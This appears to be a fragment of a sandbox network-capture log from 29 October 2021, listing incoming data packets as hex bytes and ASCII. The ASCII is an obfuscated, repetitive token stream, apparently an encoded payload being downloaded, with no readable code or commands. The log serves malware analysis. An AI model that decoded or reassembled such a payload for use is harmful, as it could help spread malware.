2021-10-29 15:55:36 UTC 2693 IN Data Raw: 20 78 20 4f 78 59 20 78 20 6b 4f 20 78 20 6b 51 20 78 20 52 51 20 78 20 4f 78 45 20 78 20 4f 4f 51 20 78 20 
52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 
20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 
78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 
20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 
59 20 78 20 74 6b 20 78 20 6b 52 20 78 20 6b 52 20 78 20 59 74 20 78 20 74 6b 20 78 20 6b 52 20 78 20 6b 52 20 78 20 
59 74 20 78 20 74 6b 20 78 20 6b 52 20 78 20 6b 52 20 78 20 59 74 20 78 
Data Ascii:  x OxY x kO x kQ x RQ x OxE x OOQ x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY 
x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x tk x kR x kR x 
Yt x tk x kR x kR x Yt x tk x kR x kR x Yt x

2021-10-29 15:55:36 UTC 2694 IN Data Raw: 4f 78 78 20 78 20 6b 59 20 78 20 74 6b 20 78 20 52 52 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 
52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 6f 20 78 20 4f 78 51 20 78 20 4f 6f 78 
20 78 20 51 74 20 78 20 4f 4f 6b 20 78 20 6b 59 20 78 20 4f 4f 52 20 78 20 74 52 20 78 20 4f 4f 6b 20 78 20 6b 59 20 78 
20 4f 4f 52 20 78 20 74 52 20 78 20 4f 78 45 20 78 20 6b 4b 20 78 20 6b 4f 20 78 20 4b 6b 20 78 20 4f 4f 51 20 78 20 51 
74 20 78 20 74 51 20 78 20 4f 78 52 20 78 20 4f 4f 6f 20 78 20 52 6b 20 78 20 51 51 20 78 20 59 4f 20 78 20 4f 4f 4b 20 
78 20 6b 6b 20 78 20 74 6b 20 78 20 4f 6f 6f 20 78 20 4f 6f 6f 20 78 20 4f 4f 59 20 78 20 59 59 20 78 20 74 51 20 78 20 4b 
45 20 78 20 4f 4f 6b 20 78 20 4f 4f 4b 20 78 20 59 4b 
Data Ascii: Oxx x kY x tk x RR x RY x RY x RY x RY x RY x RY x RY x RY x OOo x OxQ x Oox x Qt x OOk x kY x OOR x 
tR x OOk x kY x OOR x tR x OxE x kK x kO x Kk x OOQ x Qt x tQ x OxR x OOo x Rk x QQ x YO x OOK x kk x tk x Ooo x 
Ooo x OOY x YY x tQ x KE x OOk x OOK x YK

2021-10-29 15:55:36 UTC 2695 IN Data Raw: 74 59 20 78 20 4f 78 59 20 78 20 4f 4f 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 
20 4f 78 6b 20 78 20 4f 78 51 20 78 20 6b 52 20 78 20 51 51 20 78 20 59 59 20 78 20 4b 45 20 78 20 52 6b 20 78 20 6b 
78 20 78 20 59 59 20 78 20 4b 45 20 78 20 52 6b 20 78 20 6b 78 20 78 20 52 59 20 78 20 74 45 20 78 20 52 51 20 78 20 
52 59 20 78 20 4f 78 51 20 78 20 4f 4f 59 20 78 20 4f 6f 4f 20 78 20 74 4b 20 78 20 6b 52 20 78 20 51 6b 20 78 20 6b 52 
20 78 20 6b 59 20 78 20 74 59 20 78 20 74 4b 20 78 20 6b 59 20 78 20 51 6b 20 78 20 51 78 20 78 20 4f 4f 45 20 78 20 4f 
78 6b 20 78 20 52 74 20 78 20 59 4b 20 78 20 4f 4f 59 20 78 20 4f 78 4f 20 78 20 6b 4f 20 78 20 4b 74 20 78 20 59 52 20 
78 20 4f 4f 45 20 78 20 51 78 20 78 20 4b 74 20 78 20 59 52 20 
Data Ascii: tY x OxY x OOO x RY x RY x RY x RY x Oxk x OxQ x kR x QQ x YY x KE x Rk x kx x YY x KE x Rk x kx x RY x 
tE x RQ x RY x OxQ x OOY x OoO x tK x kR x Qk x kR x kY x tY x tK x kY x Qk x Qx x OOE x Oxk x Rt x YK x OOY x OxO 
x kO x Kt x YR x OOE x Qx x Kt x YR 

2021-10-29 15:55:36 UTC 2697 IN Data Raw: 20 78 20 4f 78 6b 20 78 20 6b 74 20 78 20 74 6b 20 78 20 51 51 20 78 20 4f 78 74 20 78 20 74 78 20 78 20 59 
74 20 78 20 51 74 20 78 20 4f 78 74 20 78 20 74 78 20 78 20 59 74 20 78 20 51 74 20 78 20 4f 78 74 20 78 20 74 78 20 
78 20 59 74 20 78 20 51 74 20 78 20 4f 4f 6f 20 78 20 74 6f 20 78 20 52 52 20 78 20 4f 78 52 20 78 20 4b 74 20 78 20 59 
74 20 78 20 59 78 20 78 20 59 59 20 78 20 4b 74 20 78 20 59 52 20 78 20 4f 78 51 20 78 20 6b 74 20 78 20 4b 74 20 78 
20 59 52 20 78 20 4f 78 4f 20 78 20 6b 4b 20 78 20 4b 74 20 78 20 59 52 20 78 20 51 74 20 78 20 6b 45 20 78 20 4b 74 2
0 78 20 59 52 20 78 20 6b 74 20 78 20 6b 4f 20 78 20 4b 74 20 78 20 59 52 20 78 20 6b 74 20 78 20 74 51 20 78 20 4b 74 
20 78 20 59 52 20 78 20 74 59 20 78 20 74 59 20 78 20 4b 74 20 78 
Data Ascii:  x Oxk x kt x tk x QQ x Oxt x tx x Yt x Qt x Oxt x tx x Yt x Qt x Oxt x tx x Yt x Qt x OOo x to x RR x OxR x Kt x 
Yt x Yx x YY x Kt x YR x OxQ x kt x Kt x YR x OxO x kK x Kt x YR x Qt x kE x Kt x YR x kt x kO x Kt x YR x kt x tQ x Kt x 
YR x tY x tY x Kt x

2021-10-29 15:55:36 UTC 2698 IN Data Raw: 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 
52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 
20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 
78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 
20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 
59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 
52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 
Data Ascii: RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY 
x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x 
RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x 

2021-10-29 15:55:36 UTC 2699 IN Data Raw: 20 78 20 52 74 20 78 20 4f 78 45 20 78 20 4b 74 20 78 20 4f 4f 6b 20 78 20 4f 78 52 20 78 20 4f 4f 51 20 78 20 
4f 4f 59 20 78 20 74 59 20 78 20 52 74 20 78 20 6b 4f 20 78 20 4f 4f 59 20 78 20 74 4b 20 78 20 4f 78 59 20 78 20 6b 4f 20 
78 20 4f 4f 59 20 78 20 74 4b 20 78 20 4f 78 59 20 78 20 6b 4f 20 78 20 4f 4f 59 20 78 20 74 4b 20 78 20 4f 78 59 20 78 
20 6b 4f 20 78 20 4f 4f 59 20 78 20 74 4b 20 78 20 4f 78 59 20 78 20 6b 4f 20 78 20 59 6f 20 78 20 74 74 20 78 20 52 74 
20 78 20 4f 78 45 20 78 20 6b 51 20 78 20 52 51 20 78 20 4f 78 45 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 20 78 
20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 
78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 
Data Ascii:  x Rt x OxE x Kt x OOk x OxR x OOQ x OOY x tY x Rt x kO x OOY x tK x OxY x kO x OOY x tK x OxY x kO x 
OOY x tK x OxY x kO x OOY x tK x OxY x kO x Yo x tt x Rt x OxE x kQ x RQ x OxE x OOQ x RY x RY x RY x RY x RY x 
RY x RY x RY x RY x RY x RY x RY x RY x R

2021-10-29 15:55:36 UTC 2703 IN Data Raw: 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 
20 78 20 52 59 20 78 20 4f 4f 6f 20 78 20 4f 4f 78 20 78 20 74 6b 20 78 20 4f 78 52 20 78 20 4b 74 20 78 20 59 74 20 78 
20 4f 6f 4f 20 78 20 59 59 20 78 20 4b 74 20 78 20 59 74 20 78 20 4f 6f 4f 20 78 20 59 59 20 78 20 4b 74 20 78 20 59 74 
20 78 20 4f 6f 4f 20 78 20 59 59 20 78 20 4f 4f 74 20 78 20 4f 4f 4f 20 78 20 74 4b 20 78 20 4f 4f 6f 20 78 20 4b 74 20 78 
20 4b 45 20 78 20 59 4f 20 78 20 51 78 20 78 20 4b 74 20 78 20 4b 45 20 78 20 59 4f 20 78 20 51 78 20 78 20 4b 74 20 
78 20 4b 45 20 78 20 59 4f 20 78 20 51 78 20 78 20 4b 74 20 78 20 4b 45 20 78 20 59 4f 20 78 20 51 78 20 78 20 4b 74 
20 78 20 4b 45 20 78 20 59 4f 20 78 20 51 78 20 78 20 4b 74 20 
Data Ascii:  x RY x RY x RY x RY x RY x RY x RY x RY x OOo x OOx x tk x OxR x Kt x Yt x OoO x YY x Kt x Yt x OoO x 
YY x Kt x Yt x OoO x YY x OOt x OOO x tK x OOo x Kt x KE x YO x Qx x Kt x KE x YO x Qx x Kt x KE x YO x Qx x Kt x KE 
x YO x Qx x Kt x KE x YO x Qx x Kt 
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2021-10-29 15:55:36 UTC 2707 IN Data Raw: 78 20 6b 78 20 78 20 4f 78 52 20 78 20 74 4f 20 78 20 4f 6f 78 20 78 20 74 45 20 78 20 4f 78 4b 20 78 20 4f 4f 
4f 20 78 20 59 4b 20 78 20 4f 4f 52 20 78 20 52 6b 20 78 20 52 74 20 78 20 4b 74 20 78 20 59 74 20 78 20 4f 4f 45 20 78 
20 59 78 20 78 20 4f 78 52 20 78 20 4f 78 6b 20 78 20 59 45 20 78 20 51 78 20 78 20 52 59 20 78 20 52 59 20 78 20 52 
59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 6f 20 78 20 4f 78 51 20 78 
20 4f 6f 78 20 78 20 51 74 20 78 20 4f 4f 6b 20 78 20 6b 59 20 78 20 4f 4f 52 20 78 20 74 52 20 78 20 4f 4f 4b 20 78 20 6b 
6b 20 78 20 74 6b 20 78 20 4f 6f 6f 20 78 20 4b 45 20 78 20 6b 78 20 78 20 4f 78 52 20 78 20 59 6f 20 78 20 4f 4f 59 20 78 
20 74 52 20 78 20 52 74 20 78 20 4f 4f 51 20 78 20 
Data Ascii: x kx x OxR x tO x Oox x tE x OxK x OOO x YK x OOR x Rk x Rt x Kt x Yt x OOE x Yx x OxR x Oxk x YE x Qx x 
RY x RY x RY x RY x RY x RY x RY x RY x OOo x OxQ x Oox x Qt x OOk x kY x OOR x tR x OOK x kk x tk x Ooo x KE x 
kx x OxR x Yo x OOY x tR x Rt x OOQ x 

2021-10-29 15:55:36 UTC 2709 IN Data Raw: 51 20 78 20 52 51 20 78 20 52 74 20 78 20 4f 78 45 20 78 20 4f 4f 51 20 78 20 52 51 20 78 20 52 6b 20 78 20 
52 52 20 78 20 52 59 20 78 20 52 51 20 78 20 52 74 20 78 20 4f 78 45 20 78 20 4f 4f 51 20 78 20 4f 78 78 20 78 20 4f 4f 
78 20 78 20 6b 6f 20 78 20 4b 6b 20 78 20 6b 4f 20 78 20 74 6f 20 78 20 4f 78 4b 20 78 20 52 59 20 78 20 6b 59 20 78 20 
74 59 20 78 20 4f 78 4b 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4b 74 
20 78 20 4b 74 20 78 20 59 52 20 78 20 52 59 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 52 20 78 20 52 59 20 78 20 4b 
74 20 78 20 4b 74 20 78 20 59 52 20 78 20 52 59 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 52 20 78 20 52 59 20 78 20 
4b 74 20 78 20 4b 74 20 78 20 59 52 20 78 20 52 59 20 78 20 4b 74 
Data Ascii: Q x RQ x Rt x OxE x OOQ x RQ x Rk x RR x RY x RQ x Rt x OxE x OOQ x Oxx x OOx x ko x Kk x kO x to x 
OxK x RY x kY x tY x OxK x OxE x RY x RY x RY x RY x Kt x Kt x YR x RY x Kt x Kt x YR x RY x Kt x Kt x YR x RY x Kt x 
Kt x YR x RY x Kt x Kt x YR x RY x Kt

2021-10-29 15:55:36 UTC 2713 IN Data Raw: 6b 20 78 20 51 78 20 78 20 74 6b 20 78 20 4f 4f 52 20 78 20 4b 6b 20 78 20 51 78 20 78 20 74 6b 20 78 20 4f 
4f 52 20 78 20 4b 6b 20 78 20 51 78 20 78 20 74 6b 20 78 20 4f 4f 52 20 78 20 4b 6b 20 78 20 51 78 20 78 20 74 6b 20 78 
20 4f 4f 52 20 78 20 4b 6b 20 78 20 51 78 20 78 20 74 6b 20 78 20 4f 4f 52 20 78 20 4b 6b 20 78 20 51 78 20 78 20 74 6b 
20 78 20 4f 4f 52 20 78 20 4f 4f 78 20 78 20 4f 78 51 20 78 20 6b 52 20 78 20 6b 51 20 78 20 4f 6f 4f 20 78 20 4f 4f 4f 20 
78 20 4f 6f 78 20 78 20 4f 4f 4b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 
59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 59 6f 20 78 20 
4f 4f 52 20 78 20 6b 78 20 78 20 52 51 20 78 20 4b 6b 20 
Data Ascii: k x Qx x tk x OOR x Kk x Qx x tk x OOR x Kk x Qx x tk x OOR x Kk x Qx x tk x OOR x Kk x Qx x tk x OOR x Kk 
x Qx x tk x OOR x OOx x OxQ x kR x kQ x OoO x OOO x Oox x OOK x RY x RY x RY x RY x RY x RY x RY x RY x RY x 
RY x RY x RY x Yo x OOR x kx x RQ x Kk 

2021-10-29 15:55:36 UTC 2717 IN Data Raw: 78 20 4f 6f 78 20 78 20 51 74 20 78 20 4f 78 45 20 78 20 6b 4b 20 78 20 6b 4f 20 78 20 4b 6b 20 78 20 4f 4f 4b 
20 78 20 6b 6b 20 78 20 74 6b 20 78 20 4f 6f 6f 20 78 20 4f 4f 52 20 78 20 74 52 20 78 20 6b 45 20 78 20 4b 6b 20 78 20 
4f 4f 52 20 78 20 74 52 20 78 20 6b 45 20 78 20 4b 6b 20 78 20 4f 4f 52 20 78 20 74 52 20 78 20 6b 45 20 78 20 4b 6b 20 
78 20 4f 4f 52 20 78 20 74 52 20 78 20 6b 45 20 78 20 4b 6b 20 78 20 4f 4f 52 20 78 20 74 52 20 78 20 6b 45 20 78 20 4b 
6b 20 78 20 4f 4f 52 20 78 20 74 52 20 78 20 6b 45 20 78 20 4b 6b 20 78 20 4f 4f 52 20 78 20 74 52 20 78 20 6b 45 20 78 
20 4b 6b 20 78 20 4f 4f 52 20 78 20 74 52 20 78 20 6b 45 20 78 20 4b 6b 20 78 20 4f 4f 4b 20 78 20 6b 6b 20 78 20 74 6b 
20 78 20 4f 6f 6f 20 78 20 4f 78 45 20 78 20 6b 4b 20 
Data Ascii: x Oox x Qt x OxE x kK x kO x Kk x OOK x kk x tk x Ooo x OOR x tR x kE x Kk x OOR x tR x kE x Kk x OOR x 
tR x kE x Kk x OOR x tR x kE x Kk x OOR x tR x kE x Kk x OOR x tR x kE x Kk x OOR x tR x kE x Kk x OOR x tR x kE x 
Kk x OOK x kk x tk x Ooo x OxE x kK 

2021-10-29 15:55:36 UTC 2721 IN Data Raw: 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 
20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 
78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 59 74 20 78 20 59 52 20 78 20 4b 45 20 78 20 4f 4f 74 20 78 20 59 6f 
20 78 20 59 59 20 78 20 4f 6f 4f 20 78 20 4f 78 6b 20 78 20 59 6f 20 78 20 59 59 20 78 20 4f 6f 4f 20 78 20 4f 78 6b 20 78 
20 59 6f 20 78 20 59 59 20 78 20 4f 6f 4f 20 78 20 4f 78 6b 20 78 20 59 6f 20 78 20 59 59 20 78 20 4f 6f 4f 20 78 20 4f 78 
6b 20 78 20 59 6f 20 78 20 59 59 20 78 20 4f 6f 4f 20 78 20 4f 78 6b 20 78 20 59 6f 20 78 20 59 59 20 78 20 4f 6f 4f 20 78 
20 4f 78 6b 20 78 20 59 6f 20 78 20 59 59 20 78 20 4f 
Data Ascii:  RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x Yt x YR x 
KE x OOt x Yo x YY x OoO x Oxk x Yo x YY x OoO x Oxk x Yo x YY x OoO x Oxk x Yo x YY x OoO x Oxk x Yo x YY x 
OoO x Oxk x Yo x YY x OoO x Oxk x Yo x YY x O

2021-10-29 15:55:36 UTC 2725 IN Data Raw: 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 
78 20 52 74 20 78 20 52 59 20 78 20 52 59 20 78 20 74 45 20 78 20 52 74 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 
20 78 20 52 74 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 74 45 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 51 20 78 20 
74 74 20 78 20 52 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4b 74 20 78 
20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 20 78 20 4b 74 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 
20 78 20 6b 78 20 78 20 4b 74 20 78 20 4b 74 20 78 20 52 59 20 78 20 6b 78 20 78 20 59 52 20 78 20 52 59 20 78 20 52 
59 20 78 20 52 59 20 78 20 52 6b 20 78 20 4b 74 20 78 20 52 59 20 
Data Ascii: x RY x RY x RY x RY x RY x OxE x RY x Rt x RY x RY x tE x Rt x RY x RY x RY x Rt x RY x OxE x tE x RY x 
RY x OOQ x tt x Rk x RY x RY x RY x RY x RY x Kt x OOQ x RY x RY x Kt x OOQ x RY x RY x RY x kx x Kt x Kt x RY x k
x x YR x RY x RY x RY x Rk x Kt x RY 

2021-10-29 15:55:36 UTC 2729 IN Data Raw: 78 20 6b 51 20 78 20 4f 78 78 20 78 20 4f 4f 59 20 78 20 52 59 20 78 20 6b 78 20 78 20 74 51 20 78 20 74 78 
20 78 20 51 74 20 78 20 4f 78 45 20 78 20 52 6b 20 78 20 59 6f 20 78 20 4f 78 4b 20 78 20 6b 74 20 78 20 4f 4f 4f 20 78 
20 52 59 20 78 20 4b 45 20 78 20 6b 51 20 78 20 6b 52 20 78 20 4f 4f 45 20 78 20 52 59 20 78 20 6b 78 20 78 20 4f 78 51 
20 78 20 74 78 20 78 20 51 74 20 78 20 4f 78 45 20 78 20 52 6b 20 78 20 59 45 20 78 20 4f 78 4b 20 78 20 6b 74 20 78 
20 4f 4f 4f 20 78 20 52 59 20 78 20 4b 45 20 78 20 6b 51 20 78 20 6b 52 20 78 20 4f 4f 45 20 78 20 52 59 20 78 20 6b 78 
20 78 20 4f 78 51 20 78 20 74 78 20 78 20 51 74 20 78 20 4f 78 45 20 78 20 52 6b 20 78 20 59 45 20 78 20 4f 78 4b 20 78 
20 6b 74 20 78 20 4f 4f 4f 20 78 20 52 59 20 78 20 4b 45 20 
Data Ascii: x kQ x Oxx x OOY x RY x kx x tQ x tx x Qt x OxE x Rk x Yo x OxK x kt x OOO x RY x KE x kQ x kR x OOE x 
RY x kx x OxQ x tx x Qt x OxE x Rk x YE x OxK x kt x OOO x RY x KE x kQ x kR x OOE x RY x kx x OxQ x tx x Qt x OxE 
x Rk x YE x OxK x kt x OOO x RY x KE 

2021-10-29 15:55:36 UTC 2733 IN Data Raw: 20 4f 78 59 20 78 20 74 6f 20 78 20 52 51 20 78 20 6b 78 20 78 20 4f 4f 6f 20 78 20 52 6b 20 78 20 6b 4f 20 78 
20 6b 59 20 78 20 74 6f 20 78 20 4f 4f 6f 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 
20 78 20 59 78 20 78 20 4f 78 4b 20 78 20 74 6f 20 78 20 6b 6b 20 78 20 4f 4f 78 20 78 20 4b 74 20 78 20 4f 4f 6f 20 78 20
4f 78 59 20 78 20 4f 78 59 20 78 20 52 74 20 78 20 4b 74 20 78 20 59 4b 20 78 20 74 74 20 78 20 4f 78 74 20 78 20 4f 78 
6f 20 78 20 4b 74 20 78 20 4b 45 20 78 20 4f 78 52 20 78 20 74 45 20 78 20 6b 6b 20 78 20 4f 6f 6f 20 78 20 4b 74 20 78 
20 4f 4f 4f 20 78 20 4f 6f 4f 20 78 20 74 78 20 78 20 59 52 20 78 20 4b 74 20 78 20 59 45 20 78 20 51 78 20 78 20 51 74 
20 78 20 74 4b 20 78 20 4f 78 6f 20 78 20 4b 45 20 
Data Ascii:  OxY x to x RQ x kx x OOo x Rk x kO x kY x to x OOo x OxE x RY x RY x RY x Rt x Yx x OxK x to x kk x OOx 
x Kt x OOo x OxY x OxY x Rt x Kt x YK x tt x Oxt x Oxo x Kt x KE x OxR x tE x kk x Ooo x Kt x OOO x OoO x tx x YR x Kt 
x YE x Qx x Qt x tK x Oxo x KE 
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2021-10-29 15:55:36 UTC 2737 IN Data Raw: 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 
20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 4f 6b 20 78 20 74 74 20 78 20 6b 6b 20 78 20 6b 59 
20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 4
f 6f 20 78 20 59 59 20 78 20 6b 78 20 78 20 6b 6b 20 78 20 4b 74 20 78 20 4b 51 20 78 20 4f 78 78 20 78 20 59 59 20 78 
20 4f 4f 51 20 78 20 4b 74 20 78 20 59 59 20 78 20 4b 45 20 78 20 4b 6b 20 78 20 4f 78 45 20 78 20 6b 78 20 78 20 59 74 
20 78 20 59 4b 20 78 20 51 78 20 78 20 4f 78 45 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 51 6b 20 78 20 52 51 20 78 20 
4f 4f 4f 20 78 20 59 4b 20 78 20 4b 74 20 78 20 4f 6f 4f 20 78 20 
Data Ascii:  Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x OOk x tt x kk x kY x Kt x Kt x Kt x Kt x Kt x Kt x Kt x OOo x 
YY x kx x kk x Kt x KQ x Oxx x YY x OOQ x Kt x YY x KE x Kk x OxE x kx x Yt x YK x Qx x OxE x OOk x Kt x Qk x RQ x 
OOO x YK x Kt x OoO x 

2021-10-29 15:55:36 UTC 2741 IN Data Raw: 74 20 78 20 4f 4f 4b 20 78 20 4b 74 20 78 20 4b 45 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 59 4b 20 78 20 
4b 74 20 78 20 4b 74 20 78 20 4f 4f 4b 20 78 20 4b 74 20 78 20 4b 45 20 78 20 4f 4f 6b 20 78 20 4b 45 20 78 20 4f 4f 4b 
20 78 20 4f 78 59 20 78 20 6b 4f 20 78 20 74 52 20 78 20 4b 74 20 78 20 4f 6f 6f 20 78 20 59 74 20 78 20 74 6f 20 78 20 
6b 78 20 78 20 4b 74 20 78 20 59 74 20 78 20 6b 6b 20 78 20 4f 78 4f 20 78 20 59 52 20 78 20 6b 78 20 78 20 4b 74 20 
78 20 6b 52 20 78 20 59 4f 20 78 20 4f 4f 6b 20 78 20 52 6b 20 78 20 4b 74 20 78 20 4b 51 20 78 20 4f 78 78 20 78 20 59 
59 20 78 20 4f 4f 51 20 78 20 4b 74 20 78 20 59 74 20 78 20 6b 6b 20 78 20 4f 78 4f 20 78 20 59 52 20 78 20 6b 78 20 78 
20 4b 74 20 78 20 6b 52 20 78 20 59 4f 20 78 20 4f 4f 6b 20 
Data Ascii: t x OOK x Kt x KE x OOk x Kt x YK x Kt x Kt x OOK x Kt x KE x OOk x KE x OOK x OxY x kO x tR x Kt x Ooo x 
Yt x to x kx x Kt x Yt x kk x OxO x YR x kx x Kt x kR x YO x OOk x Rk x Kt x KQ x Oxx x YY x OOQ x Kt x Yt x kk x OxO x 
YR x kx x Kt x kR x YO x OOk 

2021-10-29 15:55:36 UTC 2745 IN Data Raw: 4f 4f 4f 20 78 20 6b 51 20 78 20 6b 59 20 78 20 6b 74 20 78 20 4b 74 20 78 20 59 4b 20 78 20 74 4f 20 78 20 
52 74 20 78 20 52 52 20 78 20 4f 4f 6b 20 78 20 59 74 20 78 20 4f 4f 4f 20 78 20 6b 59 20 78 20 52 59 20 78 20 74 52 20 
78 20 4f 78 4b 20 78 20 74 4b 20 78 20 4f 78 59 20 78 20 74 45 20 78 20 52 59 20 78 20 6b 78 20 78 20 4f 4f 59 20 78 20 
4f 4f 51 20 78 20 4f 4f 4b 20 78 20 4f 78 4b 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 
74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 
4b 74 20 78 20 4f 4f 4b 20 78 20 4b 74 20 78 20 4b 45 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 59 74 20 78 20 4b 74 20 
78 20 4b 74 20 78 20 4f 6f 6f 20 78 20 4b 74 20 78 20 4b 74 
Data Ascii: OOO x kQ x kY x kt x Kt x YK x tO x Rt x RR x OOk x Yt x OOO x kY x RY x tR x OxK x tK x OxY x tE x RY x 
kx x OOY x OOQ x OOK x OxK x OOk x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x OOK x Kt x KE x OOk x Kt 
x Yt x Kt x Kt x Ooo x Kt x Kt

2021-10-29 15:55:36 UTC 2749 IN Data Raw: 78 20 4b 74 20 78 20 59 4b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 4f 4b 20 78 20 4b 74 20 78 20 4b 45 20 
78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 59 4b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 4f 4b 20 78 20 4b 74 20 78 20 4b 
45 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 59 4b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 4f 4b 20 78 20 4b 74 20 78 
20 4b 45 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 59 4b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 4f 4b 20 78 20 4b 74 
20 78 20 4b 45 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 59 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 6f 6f 20 78 20 
4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 
20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 
Data Ascii: x Kt x YK x Kt x Kt x OOK x Kt x KE x OOk x Kt x YK x Kt x Kt x OOK x Kt x KE x OOk x Kt x YK x Kt x Kt x OO
K x Kt x KE x OOk x Kt x YK x Kt x Kt x OOK x Kt x KE x OOk x Kt x Yt x Kt x Kt x Ooo x Kt x Kt x Kt x Kt x Kt x Kt x Kt x 
Kt x Kt x Kt x Kt x Kt x

2021-10-29 15:55:36 UTC 2753 IN Data Raw: 4b 74 20 78 20 4b 74 20 78 20 52 59 20 78 20 59 4f 20 78 20 4f 78 6b 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 
20 4f 4f 52 20 78 20 74 6b 20 78 20 74 4b 20 78 20 74 6f 20 78 20 4b 74 20 78 20 59 52 20 78 20 52 6b 20 78 20 4f 78 4f 
